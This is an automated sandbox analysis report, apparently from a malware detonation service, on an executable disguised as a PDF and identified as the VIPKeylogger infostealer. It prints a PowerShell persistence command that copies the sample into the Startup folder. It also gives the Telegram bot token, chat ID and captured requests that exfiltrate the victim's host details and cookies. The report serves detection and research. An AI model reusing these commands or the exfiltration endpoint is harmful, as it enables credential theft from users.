Analysis
-
max time kernel
148s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
16-01-2025 07:32
Static task
static1
Behavioral task
behavioral1
Sample
Swift Copy839038903 pdf.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
Swift Copy839038903 pdf.exe
Resource
win10v2004-20241007-en
General
-
Target
Swift Copy839038903 pdf.exe
-
Size
1019KB
-
MD5
85cf0c44fc38c719fb8c43cce268412b
-
SHA1
1051d322089827e3bd6801a18c2896bc39a31fef
-
SHA256
9a5c8968d3a211f80ac81ddc3ca5e1007c3eb4104fc8dc866f810eeb0e3256a5
-
SHA512
270b3500f4d41df13350ad5a5c1fe2716c299b5193cc7eb8144c998becaf3654c8af2ab477604e8463e732add1db420850fe667414d8723351f5d74b9336e7a1
-
SSDEEP
24576:3MaSSKy2/SPNeHEb5fzaFTqphfK6aBt/mC8:3RQUJaFTMmh
Malware Config
Extracted
vipkeylogger
https://api.telegram.org/bot7199790900:AAH-a-1uulA8aVgkku_Nct-9FyNkWwIUg_U/sendMessage?chat_id=7437481970
Signatures
-
VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
-
Vipkeylogger family
-
Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\edgeservice.exe Powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\edgeservice.exe Powershell.exe -
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Swift Copy839038903 pdf.exe Key opened \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Swift Copy839038903 pdf.exe Key opened \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Swift Copy839038903 pdf.exe -
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 14 checkip.dyndns.org 17 reallyfreegeoip.org 18 reallyfreegeoip.org -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 3128 set thread context of 1604 3128 Swift Copy839038903 pdf.exe 85 -
pid Process 3772 Powershell.exe -
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Swift Copy839038903 pdf.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Swift Copy839038903 pdf.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 3772 Powershell.exe 3772 Powershell.exe 1604 Swift Copy839038903 pdf.exe 1604 Swift Copy839038903 pdf.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 3772 Powershell.exe Token: SeDebugPrivilege 1604 Swift Copy839038903 pdf.exe -
Suspicious use of WriteProcessMemory 11 IoCs
description pid Process procid_target PID 3128 wrote to memory of 3772 3128 Swift Copy839038903 pdf.exe 83 PID 3128 wrote to memory of 3772 3128 Swift Copy839038903 pdf.exe 83 PID 3128 wrote to memory of 3772 3128 Swift Copy839038903 pdf.exe 83 PID 3128 wrote to memory of 1604 3128 Swift Copy839038903 pdf.exe 85 PID 3128 wrote to memory of 1604 3128 Swift Copy839038903 pdf.exe 85 PID 3128 wrote to memory of 1604 3128 Swift Copy839038903 pdf.exe 85 PID 3128 wrote to memory of 1604 3128 Swift Copy839038903 pdf.exe 85 PID 3128 wrote to memory of 1604 3128 Swift Copy839038903 pdf.exe 85 PID 3128 wrote to memory of 1604 3128 Swift Copy839038903 pdf.exe 85 PID 3128 wrote to memory of 1604 3128 Swift Copy839038903 pdf.exe 85 PID 3128 wrote to memory of 1604 3128 Swift Copy839038903 pdf.exe 85 -
outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Swift Copy839038903 pdf.exe -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Swift Copy839038903 pdf.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\Swift Copy839038903 pdf.exe"C:\Users\Admin\AppData\Local\Temp\Swift Copy839038903 pdf.exe"1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3128 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe"Powershell.exe" -ExecutionPolicy Bypass -command Copy-Item 'C:\Users\Admin\AppData\Local\Temp\Swift Copy839038903 pdf.exe' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\edgeservice.exe'2⤵
- Drops startup file
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3772
-
-
C:\Users\Admin\AppData\Local\Temp\Swift Copy839038903 pdf.exe"C:\Users\Admin\AppData\Local\Temp\Swift Copy839038903 pdf.exe"2⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:1604
-
Network
-
Remote address:8.8.8.8:53Request104.219.191.52.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request86.49.80.91.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request14.160.190.20.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request7.98.22.2.in-addr.arpaIN PTRResponse7.98.22.2.in-addr.arpaIN PTRa2-22-98-7deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Requestcheckip.dyndns.orgIN AResponsecheckip.dyndns.orgIN CNAMEcheckip.dyndns.comcheckip.dyndns.comIN A132.226.247.73checkip.dyndns.comIN A193.122.130.0checkip.dyndns.comIN A132.226.8.169checkip.dyndns.comIN A158.101.44.242checkip.dyndns.comIN A193.122.6.168
-
Remote address:132.226.247.73:80RequestGET / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
Host: checkip.dyndns.org
Connection: Keep-Alive
ResponseHTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 106
Connection: keep-alive
Cache-Control: no-cache
Pragma: no-cache
-
Remote address:132.226.247.73:80RequestGET / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
Host: checkip.dyndns.org
ResponseHTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 106
Connection: keep-alive
Cache-Control: no-cache
Pragma: no-cache
-
Remote address:132.226.247.73:80RequestGET / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
Host: checkip.dyndns.org
ResponseHTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 106
Connection: keep-alive
Cache-Control: no-cache
Pragma: no-cache
-
Remote address:132.226.247.73:80RequestGET / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
Host: checkip.dyndns.org
ResponseHTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 106
Connection: keep-alive
Cache-Control: no-cache
Pragma: no-cache
-
Remote address:132.226.247.73:80RequestGET / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
Host: checkip.dyndns.org
ResponseHTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 106
Connection: keep-alive
Cache-Control: no-cache
Pragma: no-cache
-
Remote address:132.226.247.73:80RequestGET / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
Host: checkip.dyndns.org
ResponseHTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 106
Connection: keep-alive
Cache-Control: no-cache
Pragma: no-cache
-
Remote address:132.226.247.73:80RequestGET / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
Host: checkip.dyndns.org
ResponseHTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 106
Connection: keep-alive
Cache-Control: no-cache
Pragma: no-cache
-
Remote address:132.226.247.73:80RequestGET / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
Host: checkip.dyndns.org
ResponseHTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 106
Connection: keep-alive
Cache-Control: no-cache
Pragma: no-cache
-
Remote address:132.226.247.73:80RequestGET / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
Host: checkip.dyndns.org
ResponseHTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 106
Connection: keep-alive
Cache-Control: no-cache
Pragma: no-cache
-
Remote address:132.226.247.73:80RequestGET / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
Host: checkip.dyndns.org
ResponseHTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 106
Connection: keep-alive
Cache-Control: no-cache
Pragma: no-cache
-
Remote address:8.8.8.8:53Request73.247.226.132.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Requestreallyfreegeoip.orgIN AResponsereallyfreegeoip.orgIN A104.21.96.1reallyfreegeoip.orgIN A104.21.48.1reallyfreegeoip.orgIN A104.21.16.1reallyfreegeoip.orgIN A104.21.64.1reallyfreegeoip.orgIN A104.21.32.1reallyfreegeoip.orgIN A104.21.112.1reallyfreegeoip.orgIN A104.21.80.1
-
Remote address:104.21.96.1:443RequestGET /xml/181.215.176.83 HTTP/1.1
Host: reallyfreegeoip.org
Connection: Keep-Alive
ResponseHTTP/1.1 200 OK
Content-Type: text/xml
Content-Length: 356
Connection: keep-alive
Cache-Control: max-age=31536000
CF-Cache-Status: HIT
Age: 5500189
Last-Modified: Wed, 13 Nov 2024 15:42:26 GMT
Accept-Ranges: bytes
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pg5TriXff6KJlef0KM0U%2BZm%2F4gfvaCiJzwYyQziLf3WkaRpaFxuAGzlKHJtAZaQLCec5hZ7Ej0%2BppzYQubrEb%2BW%2BIq6FYDiHajp7BtrME%2FzOLIp%2FXDA7iyqfRBmRmkupFA1ZFVQh"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 902c691f8ce2ef25-LHR
alt-svc: h3=":443"; ma=86400
server-timing: cfL4;desc="?proto=TCP&rtt=28254&min_rtt=25868&rtt_var=9866&sent=5&recv=6&lost=0&retrans=0&sent_bytes=3009&recv_bytes=390&delivery_rate=132904&cwnd=253&unsent_bytes=0&cid=1306fb9b95e1b790&ts=92&x=0"
-
Remote address:104.21.96.1:443RequestGET /xml/181.215.176.83 HTTP/1.1
Host: reallyfreegeoip.org
ResponseHTTP/1.1 200 OK
Content-Type: text/xml
Content-Length: 356
Connection: keep-alive
Cache-Control: max-age=31536000
CF-Cache-Status: HIT
Age: 5500190
Last-Modified: Wed, 13 Nov 2024 15:42:26 GMT
Accept-Ranges: bytes
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=m%2BKw0wbj3U7NxaRhRqGlfctJ9ovuhy9m0wfjIMZiBJi9EttuOzr%2FPfCmbM1sM0hwJ5nE8VUOCBnacNZDk7Y8lHcPfxgA7BX7KK9Ik55V6VdEee4HLcumSXcCc567%2FSXELCyszaPB"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 902c6921696cef25-LHR
alt-svc: h3=":443"; ma=86400
server-timing: cfL4;desc="?proto=TCP&rtt=33385&min_rtt=25868&rtt_var=17660&sent=6&recv=8&lost=0&retrans=0&sent_bytes=4285&recv_bytes=482&delivery_rate=132904&cwnd=254&unsent_bytes=0&cid=1306fb9b95e1b790&ts=378&x=0"
-
Remote address:104.21.96.1:443RequestGET /xml/181.215.176.83 HTTP/1.1
Host: reallyfreegeoip.org
ResponseHTTP/1.1 200 OK
Content-Type: text/xml
Content-Length: 356
Connection: keep-alive
Cache-Control: max-age=31536000
CF-Cache-Status: HIT
Age: 5500190
Last-Modified: Wed, 13 Nov 2024 15:42:26 GMT
Accept-Ranges: bytes
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sOOPnDY6SXzjlG0VT1Q3QX3mE%2FONp2xByQ6Q7e2TTH9QP16lzC7r1KOLaEZ33kcYfaU98rQ3%2F5beEc5q%2Ff90ZDYl%2FwftihkBViGrPX1co9tMQqCGyRF8HK3rBnz9FFadK0JLbmbE"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 902c69230d0bef25-LHR
alt-svc: h3=":443"; ma=86400
server-timing: cfL4;desc="?proto=TCP&rtt=39323&min_rtt=25868&rtt_var=25123&sent=7&recv=10&lost=0&retrans=0&sent_bytes=5555&recv_bytes=574&delivery_rate=132904&cwnd=255&unsent_bytes=0&cid=1306fb9b95e1b790&ts=640&x=0"
-
Remote address:104.21.96.1:443RequestGET /xml/181.215.176.83 HTTP/1.1
Host: reallyfreegeoip.org
ResponseHTTP/1.1 200 OK
Content-Type: text/xml
Content-Length: 356
Connection: keep-alive
Cache-Control: max-age=31536000
CF-Cache-Status: HIT
Age: 5500190
Last-Modified: Wed, 13 Nov 2024 15:42:26 GMT
Accept-Ranges: bytes
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=V5NhReu%2FJIQghMT0%2BnZwii2rKcblVP5RJ7%2BmjQFLzxy56qmEG6b8jMvgQY6EGCMYKmLaFekBGTPq1mhoJ3ArJDxKTT%2Fj5nsUEGNM9dp%2FSfgYmhRG%2B92uS8ob1QDl6hoeoV8VNsv9"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 902c6924b899ef25-LHR
alt-svc: h3=":443"; ma=86400
server-timing: cfL4;desc="?proto=TCP&rtt=43795&min_rtt=25868&rtt_var=27786&sent=8&recv=12&lost=0&retrans=0&sent_bytes=6828&recv_bytes=666&delivery_rate=132904&cwnd=256&unsent_bytes=0&cid=1306fb9b95e1b790&ts=905&x=0"
-
Remote address:104.21.96.1:443RequestGET /xml/181.215.176.83 HTTP/1.1
Host: reallyfreegeoip.org
ResponseHTTP/1.1 200 OK
Content-Type: text/xml
Content-Length: 356
Connection: keep-alive
Cache-Control: max-age=31536000
CF-Cache-Status: HIT
Age: 5500191
Last-Modified: Wed, 13 Nov 2024 15:42:26 GMT
Accept-Ranges: bytes
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=g4E6N2pnQ792T2aMTAnwUoUFnvzTe1r7v5%2BXKMQh3de1ZDUouKjmgp3Gi3lrOGDPBHy54VWjHcQMDjrrtzr4o5q9SbXzc1wayRkRzLTSDJNgLDWIqn1CIGgy6Up0dho4KehRPJIR"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 902c69265c7bef25-LHR
alt-svc: h3=":443"; ma=86400
server-timing: cfL4;desc="?proto=TCP&rtt=46867&min_rtt=25868&rtt_var=26982&sent=9&recv=14&lost=0&retrans=0&sent_bytes=8105&recv_bytes=758&delivery_rate=132904&cwnd=257&unsent_bytes=0&cid=1306fb9b95e1b790&ts=1169&x=0"
-
Remote address:104.21.96.1:443RequestGET /xml/181.215.176.83 HTTP/1.1
Host: reallyfreegeoip.org
ResponseHTTP/1.1 200 OK
Content-Type: text/xml
Content-Length: 356
Connection: keep-alive
Cache-Control: max-age=31536000
CF-Cache-Status: HIT
Age: 5500191
Last-Modified: Wed, 13 Nov 2024 15:42:26 GMT
Accept-Ranges: bytes
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2B0ZT0YARRXewT3b02yAYJBuEzxC14ERI1TLxIXbE67lFO1z3AU%2FlTHmyrXQ53vqug%2BmQCCqDCR0Z2kk1WqfdBP7i7FTThy%2BjlsLDUp6MSIod9KYLSPIcZlmyPh3A1mAETRtG3FUS"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 902c6927f866ef25-LHR
alt-svc: h3=":443"; ma=86400
server-timing: cfL4;desc="?proto=TCP&rtt=49803&min_rtt=25868&rtt_var=26110&sent=10&recv=16&lost=0&retrans=0&sent_bytes=9373&recv_bytes=850&delivery_rate=132904&cwnd=257&unsent_bytes=0&cid=1306fb9b95e1b790&ts=1430&x=0"
-
Remote address:104.21.96.1:443RequestGET /xml/181.215.176.83 HTTP/1.1
Host: reallyfreegeoip.org
ResponseHTTP/1.1 200 OK
Content-Type: text/xml
Content-Length: 356
Connection: keep-alive
Cache-Control: max-age=31536000
CF-Cache-Status: HIT
Age: 5500191
Last-Modified: Wed, 13 Nov 2024 15:42:26 GMT
Accept-Ranges: bytes
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9wKqVhRM7B%2BIIUS%2B7zNYAS3zzGmxp7VrvJlgfhWEJiiH2MOA8VScwYcC2H3McCLWz3WudIbEB%2BQzHUWP77W7%2Bm6t%2FPzAp2qKTyJlrTwLCusK91pDAPbWg6wjIE57kn7fgBym5zAH"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 902c6929ac29ef25-LHR
alt-svc: h3=":443"; ma=86400
server-timing: cfL4;desc="?proto=TCP&rtt=52975&min_rtt=25868&rtt_var=25925&sent=11&recv=18&lost=0&retrans=0&sent_bytes=10648&recv_bytes=942&delivery_rate=132904&cwnd=257&unsent_bytes=0&cid=1306fb9b95e1b790&ts=1694&x=0"
-
Remote address:104.21.96.1:443RequestGET /xml/181.215.176.83 HTTP/1.1
Host: reallyfreegeoip.org
ResponseHTTP/1.1 200 OK
Content-Type: text/xml
Content-Length: 356
Connection: keep-alive
Cache-Control: max-age=31536000
CF-Cache-Status: HIT
Age: 5500191
Last-Modified: Wed, 13 Nov 2024 15:42:26 GMT
Accept-Ranges: bytes
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4kESJXiqgkWFHXTdy1WBEbIvXnLLUZxaNth72mPSRP9JVpug7GNgmpW2jgNJRZtn30Q5WanJGlcmf0OfjNlMHCAPFJhiXVEqBwEsJ0WWgkathR6TDuOn8E0N1Ek1XODfiuKfjZwO"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 902c692b4826ef25-LHR
alt-svc: h3=":443"; ma=86400
server-timing: cfL4;desc="?proto=TCP&rtt=55966&min_rtt=25868&rtt_var=25426&sent=12&recv=20&lost=0&retrans=0&sent_bytes=11926&recv_bytes=1034&delivery_rate=132904&cwnd=257&unsent_bytes=0&cid=1306fb9b95e1b790&ts=1963&x=0"
-
Remote address:104.21.96.1:443RequestGET /xml/181.215.176.83 HTTP/1.1
Host: reallyfreegeoip.org
ResponseHTTP/1.1 200 OK
Content-Type: text/xml
Content-Length: 356
Connection: keep-alive
Cache-Control: max-age=31536000
CF-Cache-Status: HIT
Age: 5500192
Last-Modified: Wed, 13 Nov 2024 15:42:26 GMT
Accept-Ranges: bytes
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WVNgRpZmDBrfulxyH1%2FCL3SI12eo4DyaQ74aRyEfYhM29fxEjvUgzejtKModm%2B3Yyn8LRDkhYNhbOSDws7RDPFbly%2FZdat1rXwLFT6jUDGu6OXtmyt%2BNPyIxT1i1OJxKo7goM5%2F9"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 902c692cfb79ef25-LHR
alt-svc: h3=":443"; ma=86400
server-timing: cfL4;desc="?proto=TCP&rtt=58054&min_rtt=25868&rtt_var=23246&sent=13&recv=22&lost=0&retrans=0&sent_bytes=13195&recv_bytes=1126&delivery_rate=132904&cwnd=257&unsent_bytes=0&cid=1306fb9b95e1b790&ts=2225&x=0"
-
Remote address:8.8.8.8:53Request1.96.21.104.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Requestapi.telegram.orgIN AResponseapi.telegram.orgIN A149.154.167.220
-
GEThttps://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:UTKBEBLO%0D%0ADate%20and%20Time:%201/16/2025%20/%207:32:17%20AM%0D%0ACountry%20Name:%20United%20Kingdom%0D%0A%5B%20UTKBEBLO%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5DSwift Copy839038903 pdf.exeRemote address:149.154.167.220:443RequestGET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:UTKBEBLO%0D%0ADate%20and%20Time:%201/16/2025%20/%207:32:17%20AM%0D%0ACountry%20Name:%20United%20Kingdom%0D%0A%5B%20UTKBEBLO%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1
Host: api.telegram.org
Connection: Keep-Alive
ResponseHTTP/1.1 404 Not Found
Date: Thu, 16 Jan 2025 07:32:18 GMT
Content-Type: application/json
Content-Length: 55
Connection: keep-alive
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
-
POSThttps://api.telegram.org/bot7199790900:AAH-a-1uulA8aVgkku_Nct-9FyNkWwIUg_U/sendDocument?chat_id=7437481970&caption=%20Pc%20Name:%20Admin%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0ACookies%20%7C%20Admin%20%7C%20VIP%20RecoverySwift Copy839038903 pdf.exeRemote address:149.154.167.220:443RequestPOST /bot7199790900:AAH-a-1uulA8aVgkku_Nct-9FyNkWwIUg_U/sendDocument?chat_id=7437481970&caption=%20Pc%20Name:%20Admin%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0ACookies%20%7C%20Admin%20%7C%20VIP%20Recovery HTTP/1.1
Content-Type: multipart/form-data; boundary=------------------------8dd35ffec40c79c
Host: api.telegram.org
Content-Length: 974
ResponseHTTP/1.1 200 OK
Date: Thu, 16 Jan 2025 07:32:26 GMT
Content-Type: application/json
Content-Length: 553
Connection: keep-alive
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
-
Remote address:8.8.8.8:53Request220.167.154.149.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request154.239.44.20.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request97.17.167.52.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request212.20.149.52.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request198.187.3.20.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request172.210.232.199.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request43.229.111.52.in-addr.arpaIN PTRResponse
-
2.1kB 3.3kB 18 14
HTTP Request
GET http://checkip.dyndns.org/HTTP Response
200HTTP Request
GET http://checkip.dyndns.org/HTTP Response
200HTTP Request
GET http://checkip.dyndns.org/HTTP Response
200HTTP Request
GET http://checkip.dyndns.org/HTTP Response
200HTTP Request
GET http://checkip.dyndns.org/HTTP Response
200HTTP Request
GET http://checkip.dyndns.org/HTTP Response
200HTTP Request
GET http://checkip.dyndns.org/HTTP Response
200HTTP Request
GET http://checkip.dyndns.org/HTTP Response
200HTTP Request
GET http://checkip.dyndns.org/HTTP Response
200HTTP Request
GET http://checkip.dyndns.org/HTTP Response
200 -
104.21.96.1:443https://reallyfreegeoip.org/xml/181.215.176.83tls, httpSwift Copy839038903 pdf.exe2.2kB 15.1kB 25 16
HTTP Request
GET https://reallyfreegeoip.org/xml/181.215.176.83HTTP Response
200HTTP Request
GET https://reallyfreegeoip.org/xml/181.215.176.83HTTP Response
200HTTP Request
GET https://reallyfreegeoip.org/xml/181.215.176.83HTTP Response
200HTTP Request
GET https://reallyfreegeoip.org/xml/181.215.176.83HTTP Response
200HTTP Request
GET https://reallyfreegeoip.org/xml/181.215.176.83HTTP Response
200HTTP Request
GET https://reallyfreegeoip.org/xml/181.215.176.83HTTP Response
200HTTP Request
GET https://reallyfreegeoip.org/xml/181.215.176.83HTTP Response
200HTTP Request
GET https://reallyfreegeoip.org/xml/181.215.176.83HTTP Response
200HTTP Request
GET https://reallyfreegeoip.org/xml/181.215.176.83HTTP Response
200 -
149.154.167.220:443https://api.telegram.org/bot7199790900:AAH-a-1uulA8aVgkku_Nct-9FyNkWwIUg_U/sendDocument?chat_id=7437481970&caption=%20Pc%20Name:%20Admin%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0ACookies%20%7C%20Admin%20%7C%20VIP%20Recoverytls, httpSwift Copy839038903 pdf.exe2.7kB 7.8kB 14 14
HTTP Request
GET https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:UTKBEBLO%0D%0ADate%20and%20Time:%201/16/2025%20/%207:32:17%20AM%0D%0ACountry%20Name:%20United%20Kingdom%0D%0A%5B%20UTKBEBLO%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5DHTTP Response
404HTTP Request
POST https://api.telegram.org/bot7199790900:AAH-a-1uulA8aVgkku_Nct-9FyNkWwIUg_U/sendDocument?chat_id=7437481970&caption=%20Pc%20Name:%20Admin%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0ACookies%20%7C%20Admin%20%7C%20VIP%20RecoveryHTTP Response
200
-
73 B 147 B 1 1
DNS Request
104.219.191.52.in-addr.arpa
-
70 B 145 B 1 1
DNS Request
86.49.80.91.in-addr.arpa
-
72 B 158 B 1 1
DNS Request
14.160.190.20.in-addr.arpa
-
68 B 129 B 1 1
DNS Request
7.98.22.2.in-addr.arpa
-
64 B 176 B 1 1
DNS Request
checkip.dyndns.org
DNS Response
132.226.247.73193.122.130.0132.226.8.169158.101.44.242193.122.6.168
-
73 B 158 B 1 1
DNS Request
73.247.226.132.in-addr.arpa
-
65 B 177 B 1 1
DNS Request
reallyfreegeoip.org
DNS Response
104.21.96.1104.21.48.1104.21.16.1104.21.64.1104.21.32.1104.21.112.1104.21.80.1
-
70 B 132 B 1 1
DNS Request
1.96.21.104.in-addr.arpa
-
62 B 78 B 1 1
DNS Request
api.telegram.org
DNS Response
149.154.167.220
-
74 B 167 B 1 1
DNS Request
220.167.154.149.in-addr.arpa
-
72 B 158 B 1 1
DNS Request
154.239.44.20.in-addr.arpa
-
71 B 145 B 1 1
DNS Request
97.17.167.52.in-addr.arpa
-
72 B 146 B 1 1
DNS Request
212.20.149.52.in-addr.arpa
-
71 B 157 B 1 1
DNS Request
198.187.3.20.in-addr.arpa
-
74 B 128 B 1 1
DNS Request
172.210.232.199.in-addr.arpa
-
72 B 158 B 1 1
DNS Request
43.229.111.52.in-addr.arpa
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82